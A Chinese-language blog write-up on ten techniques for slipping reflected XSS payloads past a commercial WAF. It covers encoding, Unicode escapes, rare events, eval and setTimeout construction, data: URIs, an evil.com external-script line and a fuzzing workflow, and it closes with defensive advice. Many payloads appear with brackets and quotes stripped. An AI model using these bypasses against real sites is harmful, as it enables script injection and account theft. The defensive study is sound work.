10种绕过WAF的XSS攻击手法实战解析与防御思考

发布时间:2026/7/4 21:39:19
10种绕过WAF的XSS攻击手法实战解析与防御思考 1. 项目概述一次针对某狗WAF的XSS绕过实战复盘最近在内部安全演练和渗透测试项目中我们团队遇到了一个部署了某狗Web应用防火墙WAF的目标站点。在尝试挖掘XSS漏洞时发现常规的Payload几乎全部被拦截返回的403页面成了家常便饭。这反而激起了我的兴趣决定花时间系统地研究一下如何绕过这款在国内市场占有率颇高的WAF。经过一段时间的测试、分析和整理我总结出了10种有效的绕过姿势并深入剖析了其背后的思路。这篇文章就是这次“攻防对抗”的完整复盘希望能给同样在安全一线奋斗的同行们一些启发。无论你是负责防守的安全工程师想了解攻击者的绕过手法以加固策略还是作为渗透测试人员需要突破WAF的封锁验证漏洞这些实战经验都值得一看。2. 核心思路理解WAF的检测逻辑是绕过的前提在开始罗列具体姿势之前我们必须先建立一个核心认知所有的绕过手法本质上都是对WAF检测逻辑的“误判”或“盲区”的利用。某狗WAF像大多数商业WAF一样其核心检测机制可以粗略分为几个层面基于正则表达式的关键词匹配、基于语法的令牌分析、以及基于行为或上下文的语义分析。我们的绕过思路就是围绕如何让恶意Payload“看起来”不像恶意Payload来展开的。2.1 WAF检测的常见维度关键词黑名单这是最基础的一层。WAF会维护一个包含script、javascript:、onerror、alert()等危险字符串和函数的列表。一旦请求中出现这些关键词直接拦截。语法结构分析WAF会尝试解析HTML或JavaScript的语法。例如它会检查标签是否完整闭合属性值是否被正确引用事件处理函数是否被正确绑定等。不符合常规语法的畸形Payload可能会被识别。上下文感知高级的WAF会结合Payload出现的位置来判断风险。例如在HTML标签内部、属性值内、JavaScript字符串内同样的字符可能有不同的含义。协议合规性检查对数据编码、特殊字符进行规范化检查防止通过多重编码等手段绕过。我们的绕过姿势就是针对以上一个或多个维度进行“欺骗”。2.2 绕过的基本哲学混淆与变异绕过的核心思想无外乎两种混淆Obfuscation和变异Mutation。混淆让Payload变得“难以阅读”但浏览器最终能正确解析。例如使用各种编码HTML实体、JS Unicode、Hex、插入无效字符、拆分字符串等。变异改变Payload的“形状”使其不再匹配WAF的规则模式但功能不变。例如利用浏览器与WAF解析差异、使用生僻的语法特性、构造畸形但浏览器能容忍的语句。理解了这些我们再来看具体的绕过手法就会清晰很多。每一种手法都不是孤立的在实际测试中往往需要组合使用。3. 10种绕过姿势详解与思路分析下面我将结合实例详细拆解这10种绕过姿势。为了更直观我会用一个假设的脆弱点来演示一个存在反射型XSS的搜索框参数名为q后端会直接将q的值输出到页面中。3.1 姿势一HTML实体编码与多重编码这是最经典、也最基础的绕过方式之一。其思路是利用WAF解码层与浏览器解码层的差异。思路分析WAF在检测时可能会对输入进行一次URL解码或HTML解码。但如果我们将Payload进行多次编码WAF只解码一层后看到的可能仍是“无害”的编码字符串而浏览器会按照标准进行完整的解码链最终执行脚本。实操示例 假设原始Payload为scriptalert(1)/script先进行HTML实体编码lt;scriptgt;alert(1)lt;/scriptgt;再对结果进行URL编码%26lt%3Bscript%26gt%3Balert%281%29%26lt%3B%2Fscript%26gt%3B将这个字符串提交给参数q。如果WAF只做了一次URL解码它看到的是lt;scriptgt;alert(1)lt;/scriptgt;可能因为script被编码而放行。但浏览器接收到响应后会先进行HTML解码还原出scriptalert(1)/script从而触发XSS。实操心得注意这种方式的成功率取决于WAF的解码策略。现代WAF通常会进行多层解码。因此它常作为其他手法的“前置混淆”步骤而不是单独使用。测试时可以尝试单层HTML实体、双层、混合URL编码等不同组合。3.2 姿势二JavaScript Unicode转义与混淆这种姿势针对的是WAF对JavaScript内容的关键字匹配。思路分析在JavaScript字符串和标识符中可以使用Unicode转义序列如\u0061表示字母a。我们可以用这种方式来拼写关键函数名或字符串。实操示例 原始Payloadscriptalert(xss)/script绕过Payloadscript\u0061\u006c\u0065\u0072\u0074(xss)/script甚至可以对script标签本身进行混淆但浏览器必须能识别scr\u0069ptalert(1)/scr\u0069pt实操心得这种方法对只进行简单字符串匹配的WAF有效。但需要注意\u转义通常只在JavaScript上下文如script标签内、事件处理器中有效。在HTML标签名或属性名中使用浏览器可能无法解析。可以先在浏览器的开发者工具控制台里测试你的Unicode混淆Payload是否能正确执行。3.3 姿势三利用HTML标签属性与字符集这种姿势利用了HTML解析的灵活性和WAF对上下文判断的不足。思路分析HTML属性值可以用单引号、双引号包裹也可以在不引起歧义的情况下不用引号。此外某些字符在属性值中会被特殊处理。我们可以构造畸形的属性语法来打断WAF的解析。实操示例换行符/制表符分割某些WAF的正则可能不会匹配跨行的内容。img srcx onerror alert(1)反引号作为属性值分隔符这是符合HTML5规范的但可能被一些老旧规则忽略。img srcx onerroralert1利用/结束标签的歧义在XHTML或某些解析模式下/可以结束标签。但浏览器在普通HTML中很宽容。img/srcx onerroralert(1)在img和src之间没有空格但浏览器能解析实操心得这是需要大量Fuzzing模糊测试的领域。可以准备一个包含各种特殊字符换行\n、回车\r、制表符\t、空字符\0、反引号、重音符号等的列表在Payload的关键位置如标签名后、属性名后、等号前后进行插入测试观察WAF的反应和浏览器的解析结果。3.4 姿势四事件处理函数的非常规利用绕过对常见事件如onerror,onclick,onload的过滤。思路分析WAF的黑名单可能只包含最常用的事件。我们可以使用一些生僻的、或带有特殊写法的事件处理器。实操示例大小写混淆OnErRor、ONCLICK。虽然HTML不区分大小写但一些简单的字符串匹配规则可能区分。使用SVG事件在SVG标签中事件名前缀有时可以省略on。svgscriptalert(1)/script或svg onloadalert(1)利用HTML5新事件或框架特定事件例如onanimationstart,onfocusin或者AngularJS的ng-事件等如果目标站点使用了相关框架。实操心得收集一个全面的事件处理器列表至关重要。可以从HTML、JavaScript、SVG规范以及主流前端框架的文档中搜集。测试时结合目标网站使用的技术栈来优先尝试相关事件成功率更高。3.5 姿势五script标签的替代与伪协议不完全依赖script标签来引入JavaScript。思路分析WAF可能对script标签及其src属性进行严格监控。我们可以使用其他能执行代码的标签或伪协议。实操示例使用img、iframe、svg等标签的事件或资源加载如前所述。使用link标签link relimport hrefjavascript:alert(1)需注意浏览器支持度。javascript:伪协议在其他属性中的应用不仅限于href某些标签的action、formaction、poster等属性也可能支持。form actionjavascript:alert(1)input typesubmit使用details标签的ontoggle事件这是一个比较冷门但有效的标签。details ontogglealert(1) opensummary点击/summary/details实操心得伪协议javascript:在很多场景下已被现代浏览器严格限制特别是在常见的href和src属性中。但在一些特定的属性或旧版浏览器中可能依然有效。重点在于测试哪些标签的哪些属性在目标环境下的浏览器中能够成功执行。3.6 姿势六字符串拼接与函数构造在JavaScript上下文中动态构造执行函数。思路分析WAF可能检测alert(、prompt(这样的函数调用。我们可以将函数名和参数拆分成字符串然后利用eval()、Function构造函数、或setTimeout等动态执行。实操示例使用eval和字符串拼接scripteval(alert(1))/scriptscriptwindow[alert](1)/script使用Function构造函数scriptnew Function(alert(1))()/script利用setTimeout/setIntervalscriptsetTimeout(alert\x281\x29,0)/script这里还用到了十六进制转义\x28表示左括号(实操心得eval和Function本身也是敏感词可能需要配合编码混淆一起使用。setTimeout的第一个参数可以是字符串这为代码执行提供了便利。这种方法的精髓在于将触发执行的关键字拆散使其不再匹配WAF的连续字符串规则。3.7 姿势七注释符干扰与语法滥用利用HTML和JavaScript中的注释符来破坏WAF的语法分析。思路分析WAF可能会尝试解析HTML/JS语法树。插入无效的注释符可能使WAF的解析器出错或得到与浏览器不同的解析结果。实操示例在HTML标签内插入注释scri!--test--ptalert(1)/scr!--test--ipt浏览器在解析HTML时会忽略标签内的注释因此scri pt会被正确识别为script。但一些WAF的解析器可能会被注释干扰。在JavaScript中插入被注释掉的敏感词scriptalert(1)/*script*//script或者利用JS中的--可以作为单行注释的特性当出现在行首时scriptalert(1)//--/script实操心得这种方法比较“古老”对现代智能WAF的效果有限但在针对一些规则简单的WAF或特定场景下仍可能有效。关键在于找到那个能让WAF“眼花”而浏览器“清醒”的插入点。3.8 姿势八利用解析差异HTML vs JS这是高阶技巧利用了浏览器与WAF在解析顺序和容错性上的根本差异。思路分析浏览器解析HTML文档是流式的、容错的而WAF的解析器可能更严格。例如浏览器会先进行HTML解析创建DOM树然后处理JavaScript。我们可以构造一些在HTML解析阶段“看起来无害”但在JS执行阶段“变身”的Payload。实操示例在script标签内使用scriptscript var a /scriptscriptalert(1)/script; /script一个简单的WAF可能只看到外层的script标签认为其内容是字符串而放行。但浏览器在解析内部字符串时遇到/script会提前结束第一个脚本块导致后面的scriptalert(1)/script被当作新的HTML标签解析并执行利用textarea或xmp标签已废弃但可能支持这些标签内的内容在HTML解析时会被当作纯文本但如果在它们结束之前被关闭后面的内容又会被解析。textareascriptalert(1)/script/textareaimg srcx onerroralert(2)如果WAF错误地认为整个内容都在textarea内而放行但浏览器在渲染时textarea标签本身会被创建其内容中的script标签作为文本显示但后面的img标签会被正常解析。实操心得这种手法需要对HTML和JavaScript的解析标准有深入理解。成功率不一定高但一旦成功往往意味着WAF的解析逻辑存在比较严重的缺陷。测试时要仔细分析响应页面生成的最终DOM结构而不仅仅是看响应体。3.9 姿势九协议相对URL与数据协议针对允许加载外部资源的场景如script.src,img.src,iframe.src。思路分析WAF可能会检查src或href属性是否以http://、https://或javascript:开头。我们可以使用协议相对URL或data:协议来绕过。实操示例协议相对URLscript src//evil.com/x.js/script。这会在当前页面使用的协议http或https下加载资源避免了http:或https:关键字。data:协议内联代码这是非常强大的一种方式。object datadata:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg/object上面的Base64编码解码后就是scriptalert(1)/script。data:协议可以用于多种MIME类型如text/html,image/svgxml可执行脚本从而绕过对javascript:和外部域名的检查。实操心得data:协议是XSS Payload的“瑞士军刀”因为它能将完整代码内联。但要注意Base64编码后的字符串可能因为长度或包含等号而被WAF的特殊规则匹配。可以尝试不同MIME类型或不使用Base64需URL编码。协议相对URL则常用于在HTTPS站点中绕过对http:的混合内容检查同时也能避开一些关键词规则。3.10 姿势十混合变异与上下文感知攻击这是终极形态将以上多种手法有机组合并针对输出点的具体上下文进行定制。思路分析没有一种通用的绕过方法。最有效的Payload是结合目标漏洞点的上下文是输出在HTML标签内、属性里、JavaScript字符串中、还是注释中以及WAF的具体反应进行“进化”而来的。实操示例 假设输出点在input标签的value属性中input typetext value用户输入。 我们的目标是跳出属性值执行脚本。首先尝试闭合引号scriptalert(1)/script。可能被拦截。尝试事件处理器 onfocusalert(1) autofocus 。onfocus和alert可能被拦截。对事件和函数进行Unicode混淆 onfocus\u0061\u006c\u0065\u0072\u0074(1) autofocus 。增加HTML注释干扰 onfocu!--test--salert(1) autofocus 。如果onfocus被拦换用生僻事件onauxclick onauxclickalert(1) styledisplay:block;width:100%;height:100%;position:fixed;top:0;left:0;并添加样式让元素覆盖全屏便于点击或配合autofocus。最终可能一个经过多重编码、字符串拼接、生僻事件组合的Payload才能成功 onblureval(atob(YWxlcnQoMSk)) autofocus 这里atob解码Base64字符串YWxlcnQoMSk得到alert(1)。实操心得这是真正的实战过程。你需要一个系统的方法1)信息收集确定输出点上下文和过滤情况手动测试简单Payload。2)Fuzzing使用自动化工具或脚本将各种混淆技术组合成Payload字典进行测试。3)分析响应不仅看是否被拦截403更要看返回的HTML中你的输入被如何修改、转义或截断。这能揭示WAF的过滤逻辑。4)迭代优化根据响应调整你的Payload例如如果被转义成lt;就尝试不用的Payload如基于事件的。这个过程需要耐心和创造力。4. 绕过测试的实战流程与工具掌握了姿势还需要有科学的测试流程和工具辅助。4.1 手动测试与浏览器开发者工具浏览器开发者工具F12是你最好的朋友。网络Network标签查看每个请求和响应精确观察哪个Payload被拦截返回403/其他WAF阻断页面哪个通过了但没生效。元素Elements标签查看Payload最终在DOM树中的形态。你的输入是否被转义标签是否被改变事件属性是否被移除这是分析WAF过滤逻辑的直接证据。控制台Console标签如果Payload涉及JavaScript控制台会显示语法错误或执行日志帮助你调试Payload。源代码Sources标签有时可以查看服务器返回的原始HTML与Elements面板的DOM树进行对比。4.2 自动化Fuzzing与Payload生成手动构造所有变种是低效的。可以使用以下思路使用Burp Suite的Intruder或Turbo Intruder将Payload中可能被过滤的点如,script,alert,onerror设置为变量使用预定义的混淆规则如大小写、编码、插入空字符等生成攻击载荷列表进行爆破测试。编写Python脚本利用itertools生成各种组合或使用fuzzing模板引擎。可以集成requests库发送请求并根据响应状态码和内容自动判断是否可能绕过。利用公开的XSS Payload库例如rsmudge的Nemesis项目、minimaxir的big-list-of-naughty-strings等这些库收集了大量用于测试的异常和恶意字符串可以作为很好的起点。4.3 测试环境搭建的重要性切勿在未经授权的真实网站上进行测试这是法律和道德的底线。本地靶场搭建像DVWA、bWAPP、XSS Labs、Pikachu这样的漏洞练习平台并在其前端部署某狗WAF或类似规则进行测试。这让你可以安全、反复地实验。云WAF测试一些云WAF服务商提供测试模式或沙箱可以在合规的前提下测试其防护规则。5. 常见问题排查与防御视角思考在测试过程中你会遇到各种问题。这里记录一些常见的坑和解决思路。5.1 为什么Payload在本地浏览器生效但打过去就被拦这通常意味着你的Payload触发了WAF的规则。你需要降低攻击特征。检查是否包含了明显的script、alert()尝试用更隐晦的方式。分析响应查看WAF返回的页面有时会提示被拦截的规则ID或关键词这是黄金信息。逐步简化从一个最简单的img srcx开始测试然后慢慢添加属性、事件观察在哪一步被拦截从而定位WAF检查的精确边界。5.2 Payload显示在页面上但未执行这说明WAF没有拦截但你的Payload可能不符合当前上下文或浏览器安全策略如CSP阻止了执行。检查上下文你的输入是被输出在div标签内部还是属性值里如果是属性值你是否正确闭合了引号查看Elements面板确认DOM结构。检查控制台错误是否有CSP内容安全策略错误CSP是比WAF更底层的防御机制如果存在script-src self这样的策略内联脚本和eval都将失效你需要寻找其他绕过CSP的方法这又是一个大课题。5.3 从防御者角度如何应对这些绕过作为安全工程师了解攻击是为了更好的防御。纵深防御不依赖单一WAFWAF是重要的边界防护但绝不能是唯一防线。在应用层实施安全的编码实践输出编码、输入验证是根本。启用WAF的所有高级防护模块如语义分析、虚拟补丁、威胁情报联动等。某狗WAF等产品通常有“严格模式”或“语义引擎”能更好地对抗混淆。定期更新规则库WAF厂商会持续更新规则以应对新出现的绕过手法。部署CSP内容安全策略能极大限制XSS的影响即使Payload注入成功也可能无法执行脚本。严格的输入输出处理根据输出位置HTML体、属性、JavaScript、CSS采用对应的编码函数如HTML实体编码、HTML属性编码、JavaScript编码、URL编码。使用现代前端框架如React、Vue、Angular等它们通常提供了自动转义机制但开发者仍需注意安全使用dangerouslySetInnerHTML或v-html等特性。这次针对某狗WAF的绕过研究让我再次深刻体会到安全攻防是一场持续的动态博弈。攻击技术在进化防御手段也在升级。作为技术人员保持学习、深入理解底层原理如浏览器解析、HTTP协议、编程语言特性才是应对万变的不二法门。在测试中耐心和细致的观察往往比狂轰滥炸的Fuzzing更有效。每一个被成功绕过的WAF规则都指向一个可被加固的防御点。希望这份详细的复盘能成为你下一次安全测试或加固工作中有用的参考。